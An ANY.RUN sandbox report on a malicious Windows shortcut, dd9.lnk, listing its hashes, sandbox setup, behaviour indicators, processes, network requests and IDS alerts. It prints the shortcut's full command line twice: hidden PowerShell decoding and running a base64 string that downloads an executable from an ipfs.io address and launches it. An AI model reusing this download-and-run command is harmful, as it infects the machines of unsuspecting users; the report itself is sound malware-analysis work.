Malware analysis dd9.lnk Malicious activity | ANY.RUN

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File name:	dd9.lnk
Full analysis:	https://app.any.run/tasks/3be5ebd3-1b38-4160-b863-77e880f358a8
Verdict:	Malicious activity
Analysis date:	September 03, 2025, 17:52:01
OS:	Windows 10 Professional (build: 19044, 64 bit)
Tags:	susp-lnk ipfs
Indicators:
MIME:	application/x-ms-shortcut
File info:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Icon number=0, Unicoded, HasExpIcon, Archive, ctime=Wed Apr 6 03:56:26 2016, atime=Wed Apr 6 03:56:26 2016, mtime=Wed Apr 6 03:56:26 2016, length=444928, window=showminnoactive, IDListSize 0x020d, Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D", Volume "C:\", LocalBasePath "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
MD5:	DAEF460BD5DBE67A3CC52CEB6B1A78CD
SHA1:	F69E0E8B518558F485051D613372F656AFEF0F90
SHA256:	F943B90FE47517E9310418072B0C491A30AEDDED685FF4D67E94C612B8C9B4B7
SSDEEP:	24:8W0xJLCRgCn6RwvKiI8W2ALOW5+/CWmWiPMov3A/ZJPyX1Bfuwq+ZFAUl1c004Qj:8W8MN6Y8tao/A3gm8ZFAUl/b6iLMOq

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Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 11.3636.19041.0
Adobe Acrobat (64-bit) (23.001.20093)
Adobe Flash Player 32 NPAPI (32.0.0.465)
Adobe Flash Player 32 PPAPI (32.0.0.465)
CCleaner (6.20)
FileZilla 3.65.0 (3.65.0)
Google Chrome (133.0.6943.127)
Google Update Helper (1.3.36.51)
Java 8 Update 271 (64-bit) (8.0.2710.9)
Java Auto Updater (2.8.271.9)
Microsoft Edge (133.0.3065.92)
Microsoft Office Professional 2019 - de-de (16.0.16026.20146)
Microsoft Office Professional 2019 - en-us (16.0.16026.20146)
Microsoft Office Professional 2019 - es-es (16.0.16026.20146)
Microsoft Office Professional 2019 - it-it (16.0.16026.20146)
Microsoft Office Professional 2019 - ja-jp (16.0.16026.20146)
Microsoft Office Professional 2019 - ko-kr (16.0.16026.20146)
Microsoft Office Professional 2019 - pt-br (16.0.16026.20146)
Microsoft Office Professional 2019 - tr-tr (16.0.16026.20146)
Microsoft Office Professionnel 2019 - fr-fr (16.0.16026.20146)
Microsoft Office профессиональный 2019 - ru-ru (16.0.16026.20146)
Microsoft OneNote - en-us (16.0.16026.20146)
Microsoft Update Health Tools (3.74.0.0)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2015-2022 Redistributable (x64) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2015-2022 Redistributable (x86) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.36.32532 (14.36.32532)
Mozilla Firefox (x64 en-US) (136.0)
Mozilla Maintenance Service (136.0)
Notepad++ (64-bit x64) (7.9.1)
Office 16 Click-to-Run Extensibility Component (16.0.15726.20202)
Office 16 Click-to-Run Licensing Component (16.0.16026.20146)
Office 16 Click-to-Run Localization Component (16.0.15726.20202)
Office 16 Click-to-Run Localization Component (16.0.15928.20198)
PowerShell 7-x64 (7.3.5.0)
Update for Windows 10 for x64-based Systems (KB4023057) (2.59.0.0)
Update for Windows 10 for x64-based Systems (KB4023057) (2.63.0.0)
Update for Windows 10 for x64-based Systems (KB4480730) (2.55.0.0)
Update for Windows 10 for x64-based Systems (KB5001716) (8.93.0.0)
VLC media player (3.0.11)
WinRAR 5.91 (64-bit) (5.91.0)
Windows PC Health Check (3.6.2204.08001)

Hotfixes

Client LanguagePack Package
DotNetRollup
DotNetRollup 481
FodMetadata Package
Foundation Package
Hello Face Package
InternetExplorer Optional Package
KB5003791
KB5011048
KB5015684
KB5033052
LanguageFeatures Basic en us Package
LanguageFeatures Handwriting en us Package
LanguageFeatures OCR en us Package
LanguageFeatures Speech en us Package
LanguageFeatures TextToSpeech en us Package
MSPaint FoD Package
MediaPlayer Package
Microsoft OneCore ApplicationModel Sync Desktop FOD Package
Microsoft OneCore DirectX Database FOD Package
NetFx3 OnDemand Package
Notepad FoD Package
OpenSSH Client Package
PowerShell ISE FOD Package
Printing PMCPPC FoD Package
Printing WFS FoD Package
ProfessionalEdition
QuickAssist Package
RollupFix
ServicingStack
ServicingStack 3989
StepsRecorder Package
TabletPCMath Package
UserExperience Desktop Package
WordPad FoD Package

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MALICIOUS
- Executes powershell commands (LNK)
  - powershell.exe (PID: 6948)
- PowerShell executes remote file download (POWERSHELL)
  - powershell.exe (PID: 6948)
- Run PowerShell with an invisible window
  - powershell.exe (PID: 6948)
SUSPICIOUS
- Uses base64 encoding (POWERSHELL)
  - powershell.exe (PID: 6948)
- Potential Corporate Privacy Violation
  - powershell.exe (PID: 6948)
INFO
- Disables trace logs
  - powershell.exe (PID: 6948)
- Script raised an exception (POWERSHELL)
  - powershell.exe (PID: 6948)
- Checks proxy server information
  - powershell.exe (PID: 6948)
- Remote server returned an error (POWERSHELL)
  - powershell.exe (PID: 6948)

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No Malware configuration.

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TRiD

.lnk	\|	Windows Shortcut (100)

EXIF

LNK

Flags:	IDList, LinkInfo, RelativePath, CommandArgs, IconFile, Unicode, ExpIcon
FileAttributes:	Archive
CreateDate:	2016:04:06 03:56:26+00:00
AccessDate:	2016:04:06 03:56:26+00:00
ModifyDate:	2016:04:06 03:56:26+00:00
TargetFileSize:	444928
IconIndex:	(none)
RunWindow:	Show Minimized No Activate
HotKey:	(none)
TargetFileDOSName:	powershell.exe
DriveType:	Fixed Disk
DriveSerialNumber:	D6BC-4685
VolumeLabel:	-
LocalBasePath:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
RelativePath:	..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLineArguments:	-NonInteractive -WindowStyle Hidden -NoProfile invoke-expression([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JHBhdGggPSAkZW52OlRFTVAgKyAnXEFueSBOYW1lLmV4ZSc7IChOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KS5Eb3dubG9hZEZpbGUoJ2h0dHA6Ly9pcGZzLmlvL2lwZnMvUW1kTWdzR2ZUb1BSRVhlWFF5UU1od210OU52REdFdlRSdjJCUGZ0eEdIY0pLdj9maWxlbmFtZT1tYUlzRW5OQnNhM3J4Qk8uZXhlJywgJHBhdGgpOyBzdGFydCAkcGF0aDs=')));
IconFileName:	C:\Users\D.E.L.L\Desktop\lnk builder\Icons\gtdtyufhh.ico
MachineID:	dell

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Total processes

138

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

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Process information

PID

CMD

Path

Indicators

Parent process

2200

C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache

C:\Windows\System32\svchost.exe

services.exe

User:

NETWORK SERVICE

Company:

Microsoft Corporation

Integrity Level:

SYSTEM

Description:

Host Process for Windows Services

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

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c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll

2508

C:\WINDOWS\System32\slui.exe -Embedding

C:\Windows\System32\slui.exe

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svchost.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Activation Client

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

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c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll

2976

\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\conhost.exe

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powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Console Window Host

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

6948

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -WindowStyle Hidden -NoProfile invoke-expression([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JHBhdGggPSAkZW52OlRFTVAgKyAnXEFueSBOYW1lLmV4ZSc7IChOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KS5Eb3dubG9hZEZpbGUoJ2h0dHA6Ly9pcGZzLmlvL2lwZnMvUW1kTWdzR2ZUb1BSRVhlWFF5UU1od210OU52REdFdlRSdjJCUGZ0eEdIY0pLdj9maWxlbmFtZT1tYUlzRW5OQnNhM3J4Qk8uZXhlJywgJHBhdGgpOyBzdGFydCAkcGF0aDs=')));

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll

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Total events

5 870

Read events

5 870

Write events

Delete events

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
6948	powershell.exe	C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive		binary
		MD5:1BD92C8F384A0812C212EF0348D78092	SHA256:FD6E7FEC5622415E7B663DDDE0A886ACBFB61AED1CA3DE5B537A013BE6490CD7
6948	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2P93A9VBVRRN1ZEPZ3AM.temp		binary
		MD5:8096D966EFCF84438D257A2F0EB0CDB3	SHA256:66EB8BDF35D1A255C88FCD09B56695A57DB7DC30084A097AE194168BD683C266
6948	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ujchrifq.tvu.psm1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6948	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_cw25hwqc.pfl.ps1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6948	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\92d3ec088c8e101d.customDestinations-ms		binary
		MD5:8096D966EFCF84438D257A2F0EB0CDB3	SHA256:66EB8BDF35D1A255C88FCD09B56695A57DB7DC30084A097AE194168BD683C266

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
1268	svchost.exe	GET	200	23.216.77.42:80	http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl	DE	binary	825 b	whitelisted
1268	svchost.exe	GET	200	104.79.89.142:80	http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl	DE	binary	814 b	whitelisted
1508	SIHClient.exe	GET	200	104.79.89.142:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl	DE	binary	407 b	whitelisted
1508	SIHClient.exe	GET	200	104.79.89.142:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl	DE	binary	419 b	whitelisted
6212	svchost.exe	GET	200	184.30.131.245:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D	US	binary	471 b	whitelisted
6948	powershell.exe	GET	301	209.94.90.1:80	http://ipfs.io/ipfs/QmdMgsGfToPREXeXQyQMhwmt9NvDGEvTRv2BPftxGHcJKv?filename=maIsEnNBsa3rxBO.exe	US	html	167 b	whitelisted

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
1268	svchost.exe	40.127.240.158:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
4	System	192.168.100.255:137	—	—	—	whitelisted
5944	MoUsoCoreWorker.exe	40.127.240.158:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
4836	RUXIMICS.exe	40.127.240.158:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
4	System	192.168.100.255:138	—	—	—	whitelisted
6948	powershell.exe	209.94.90.1:80	ipfs.io	PROTOCOL	US	whitelisted
6948	powershell.exe	209.94.90.1:443	ipfs.io	PROTOCOL	US	whitelisted
6212	svchost.exe	40.126.31.67:443	login.live.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
6212	svchost.exe	184.30.131.245:80	ocsp.digicert.com	AKAMAI-AS	US	whitelisted
1268	svchost.exe	51.124.78.146:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	NL	whitelisted

DNS requests

Domain	IP	Reputation
settings-win.data.microsoft.com	40.127.240.158 51.124.78.146 4.231.128.59	whitelisted
google.com	142.250.185.110	whitelisted
ipfs.io	209.94.90.1	whitelisted
login.live.com	40.126.31.67 40.126.31.2 20.190.159.73 40.126.31.0 20.190.159.64 40.126.31.130 40.126.31.131 40.126.31.3	whitelisted
ocsp.digicert.com	184.30.131.245	whitelisted
crl.microsoft.com	23.216.77.42 23.216.77.28	whitelisted
www.microsoft.com	104.79.89.142	whitelisted
slscr.update.microsoft.com	20.165.94.63	whitelisted
fe3cr.delivery.mp.microsoft.com	13.95.31.18	whitelisted
self.events.data.microsoft.com	52.182.143.214	whitelisted

Threats

PID	Process	Class	Message
2200	svchost.exe	Potentially Bad Traffic	ET FILE_SHARING Peer-to-Peer File Sharing Service Domain in DNS Lookup (ipfs .io)
6948	powershell.exe	Potential Corporate Privacy Violation	POLICY [ANY.RUN] InterPlanetary File System IPFS Service
6948	powershell.exe	Potentially Bad Traffic	ET FILE_SHARING Observed Peer-to-Peer File Sharing Service Domain (ipfs .io in TLS SNI)

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General Info

dd9.lnk

DAEF460BD5DBE67A3CC52CEB6B1A78CD

F69E0E8B518558F485051D613372F656AFEF0F90

F943B90FE47517E9310418072B0C491A30AEDDED685FF4D67E94C612B8C9B4B7

24:8W0xJLCRgCn6RwvKiI8W2ALOW5+/CWmWiPMov3A/ZJPyX1Bfuwq+ZFAUl1c004Qj:8W8MN6Y8tao/A3gm8ZFAUl/b6iLMOq

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Executes powershell commands (LNK)

PowerShell executes remote file download (POWERSHELL)

Run PowerShell with an invisible window

SUSPICIOUS

Uses base64 encoding (POWERSHELL)

Potential Corporate Privacy Violation

INFO

Disables trace logs

Script raised an exception (POWERSHELL)

Checks proxy server information

Remote server returned an error (POWERSHELL)

Malware configuration

Static information

TRiD

EXIF

LNK

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